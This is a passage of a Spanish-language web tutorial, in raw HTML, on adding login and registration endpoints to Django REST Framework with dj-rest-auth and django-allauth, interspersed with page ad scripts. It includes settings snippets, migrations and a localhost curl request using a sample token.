style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_PERMISSION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.permissions.IsAuthenticated&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;DEFAULT_AUTHENTICATION_CLASSES&amp;#39;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authentication.SessionAuthentication&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_framework.authentication.TokenAuthentication&amp;#39;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras los cambios anteriores correremos nuestras migraciones&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sí todo salió bien, agregamos las rutas necesarias, yo las he agregado a &lt;em&gt;api/authentication/&lt;/em&gt;, pero tú puedes usar otra ruta.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Django 5 salió y todos los libros anteriores se volvieron obsoletos porque están usando versiones antiguas de django en sus ejemplos, este no lo es y cubre todas las características básicas de django que hacen de este framework una de las apuestas más estables, probadas en batalla y seguras a la hora de diseñar una aplicación web.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Django for Beginners\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1751669153/coffee-bytes/django-for-begginers_300_xqbdi2.webp\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3Qx2pli\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Django for Beginners y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde aprender Django Framework de manera profunda?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/authentication/&amp;#39;&lt;/span&gt;, include(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.urls&amp;#39;&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Accedamos a la ruta para ver que los nuevos endpoints que tenemos&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;admin/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/reset/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_reset&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/reset/confirm/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_reset_confirm&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ login/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_login&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ logout/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_logout&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ user/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_user_details&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;api/authentication/ password/change/ &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;name&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;rest_password_change&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si lees la lista anterior, te darás cuenta de que se agregaron endpoints para reiniciar contraseñas, login, logout, detalles de usuario y cambiar password. Y si accedemos a esas urls en el navegador ya veremos la interfaz de DRF.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointLogin.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointLogin.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de Loggeo en Django REST framework&#34; width=&#34;1337&#34; height=&#34;926&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El endpoint de login nos devuelve una key que usaremos como token&lt;/p&gt;&#xA;&lt;p&gt;Pero no hemos terminado. Hasta este momento podemos manejar usuarios pero no crearlos. Para eso usaremos la siguiente librería.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;registro-de-usuarios-con-drf&#34;&gt;Registro de usuarios con DRF&lt;/h2&gt;&#xA;&lt;p&gt;Usaremos otra librería, esta vez llamada django-allauth.&lt;/p&gt;&#xA;&lt;h3 id=&#34;instalacion-de-django-allauth&#34;&gt;Instalación de django-allauth&lt;/h3&gt;&#xA;&lt;p&gt;Al igual que la librería anterior, vamos a instalarla.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install django-allauth~&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;0.42.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras la instalación agregamos nuestra aplicación al proyecto. django-all-auth requiere que la aplicación &lt;em&gt;django.contrib.sites&lt;/em&gt; se encuentre en nuestras INSTALLED_APPS en el archivo de configuración.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.contrib.sites&amp;#39;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;allauth&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;allauth.account&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# &amp;#39;allauth.socialaccount&amp;#39; # si queremos implementar autenticación usando redes sociales&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Como agregamos el paquete &lt;em&gt;django.contrib.sites&lt;/em&gt;, django necesitará que agreguemos una variable SITE_ID al archivo de configuraciones. También agregaremos el EMAIL_BACKEND de terminal que ya nos ofrece django, para que cada correo electrónico se muestre en la terminal.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# settings.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;EMAIL_BACKEND &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;django.core.mail.backends.console.EmailBackend&amp;#39;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;SITE_ID &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora, como nuestra aplicación tiene modelos, es buena idea correr nuevamente las migraciones.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py migrate&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sí todo salió bien agreguemos la nueva url de registro, yo le he puesto &lt;em&gt;api/registration/&lt;/em&gt;, pero tú puedes establecer la que gustes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# urls.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INSTALLED_APPS &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    path(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;api/registration/&amp;#39;&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          include(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;dj_rest_auth.registration.urls&amp;#39;&lt;/span&gt;)),&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;registro-de-usuarios&#34;&gt;Registro de usuarios&lt;/h3&gt;&#xA;&lt;p&gt;Ahora tendremos un endpoint extra que permite el registro de usuarios.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointRegistro.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointRegistro.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Pantalla de registro en Django REST Framework&#34; width=&#34;1341&#34; height=&#34;838&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Pantalla de registro de un usuario en la interfaz de DRF&lt;/p&gt;&#xA;&lt;p&gt;Si nos registramos mediante el navegador, llenando el formulario, recibiremos un token como respuesta:&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointToken.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/login-using-django-rest-framework-drf/images/DjangoRestFrameworkEndpointToken.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Token de sesión de DRF Obtenidas tras el logueo de un usuario.&#34; width=&#34;1235&#34; height=&#34;499&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Token de sesión obtenida tras el logueo de un usuario&lt;/p&gt;&#xA;&lt;p&gt;Este token es el que nos permitirá autenticarnos, intentemos usar ese token con el comando curl para acceder al perfil del usuario.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -H &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Authorization: Token c66ff3d7d3b4c434ce4d9a1ae0d640fc64d0a8bd&amp;#34;&lt;/span&gt; http://127.0.0.1:8000/api/authentication/user/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pk&amp;#34;&lt;/span&gt;:1,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;username&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Karenina&amp;#34;&lt;/span&gt;,&lt;span 